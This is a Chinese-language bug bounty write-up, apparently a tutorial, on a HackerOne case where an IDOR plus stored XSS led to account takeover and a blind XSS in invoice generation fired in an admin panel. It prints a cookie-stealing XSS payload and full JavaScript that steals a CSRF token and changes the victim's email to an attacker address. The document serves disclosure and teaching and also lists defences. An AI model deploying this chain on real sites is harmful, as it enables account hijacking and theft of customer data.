挖洞经验 | 记我的一次账号劫持和BLIND XSS漏洞发现过程
字数 1288 2025-08-18 11:37:20
账号劫持与BLIND XSS漏洞发现实战教学
漏洞概述
本教学文档基于HackerOne上一个真实漏洞挖掘案例,涉及两个关键漏洞的发现和利用:
- IDOR漏洞导致的账号劫持:通过不安全的直接对象引用实现存储型XSS攻击
- BLIND XSS漏洞:通过电子发票生成功能触发的跨站脚本攻击
这两个漏洞共获得\(7000美金奖励(每个漏洞\)3500)。
第一部分:IDOR漏洞与账号劫持
漏洞发现过程
- 初始发现:在目标网站的高级功能模块(PRO features)中发现不安全的直接对象引用(IDOR)漏洞
- 漏洞验证:能够在每个账户中创建一个
element x元素 - 漏洞升级:在文本区域的element x中注入JavaScript脚本
漏洞利用技术细节
IDOR漏洞原理
- 定义:不安全的直接对象引用允许攻击者绕过身份验证机制
- 危害:通过修改参数值直接访问其他用户的资源
- 根本原因:系统在获取对象前未进行用户权限验证
存储型XSS利用
- Payload示例:
'%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E - 利用条件:
- 目标网站未设置CSP(内容安全策略)白名单机制
- 存在存储型XSS注入点
账号劫持完整攻击链
-
窃取CSRF令牌:
function stealEmailToken(){ var fetchHash = new XMLHttpRequest(); var url = "https://--domain--/--path--/personal/update_email.html"; var datax; var all_elements; var vc_email_token='initial'; fetchHash.onreadystatechange=function (){ if(fetchHash.readyState==4 && fetchHash.status==200){ datax = fetchHash.responseText; var loot = document.createElement('html'); loot.innerHTML = datax; all_elements = loot.getElementsByTagName('input'); vc_email_token = all_elements[2].value; alert('Stole your Email change Token: '+vc_email_token+' ...Tabahi'); //hack(vc_email_token); } } fetchHash.open("GET",url, true); fetchHash.withCredentials=true; fetchHash.send(); } stealEmailToken(); -
修改用户邮箱:
function hack(emailToken){ var HackAccount = new XMLHttpRequest(); url= "https://--domain--/--path--/personal/update_email.html"; HackAccount.open("POST",url, true); HackAccount.withCredentials=true; var data= 'AccountEmailForm%5BsEmail%5D%5Bfirst%5D=attacker%40attacker.com&AccountEmailForm%5BsEmail%5D%5Bsecond%5D=attacker%40attacker.com&AccountEmailForm%5B_token%5D='+emailToken; HackAccount.setRequestHeader('X-Requested-With','XMLHttpRequest'); HackAccount.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); HackAccount.send(data); }
防御措施
- 实施严格的权限验证机制
- 对所有用户输入进行过滤和转义
- 设置CSP(内容安全策略)白名单
- 对敏感操作使用一次性令牌
第二部分:BLIND XSS漏洞
漏洞发现过程
- 测试环境:目标网站的付费专业功能模块
- 支付方式:信用卡和银行转账两种选择
- 攻击面:银行转账方式生成的电子发票功能
漏洞利用技术细节
初始尝试
- 尝试在PDF电子发票生成过程中注入HTML元素
- 直接注入脚本未成功
BLIND XSS利用
-
使用XSSHunter生成Payload:
- 在电子发票的姓名和地址字段插入BLIND XSS Payload
- 等待后台管理面板触发
-
漏洞触发:
- 几天后XSSHunter账户收到触发通知
- Payload在管理区域成功执行
-
影响范围:
- 可查看1000多名顾客的电子发票记录
- 获取敏感个人信息
漏洞原理分析
- 根本原因:电子发票自动生成过程中未对输入进行安全过滤
- 特殊点:XSS触发点在后台管理界面而非前端
防御措施
- 对所有用户输入进行严格的过滤和编码
- 实施输出编码策略
- 使用内容安全策略(CSP)
- 对管理后台进行额外的安全审计
漏洞挖掘方法论
- 高级功能测试:付费功能往往安全测试较少
- 文件生成功能:PDF、Excel等文件生成是常见攻击面
- BLIND XSS策略:
- 在所有可能的输入点插入XSSHunter Payload
- 耐心等待后台触发
- 漏洞组合:寻找漏洞组合利用的可能性(IDOR+XSS)
总结
本案例展示了两种不同类型但同样危险的漏洞:
- IDOR+存储型XSS:直接导致账号劫持
- BLIND XSS:影响后台管理系统的严重漏洞
漏洞挖掘的关键在于:
- 全面测试所有功能模块
- 不放过任何用户输入点
- 善用自动化工具(XSSHunter)
- 理解业务逻辑中的潜在风险点
通过系统性的测试方法,即使是看似安全的系统也可能发现严重漏洞。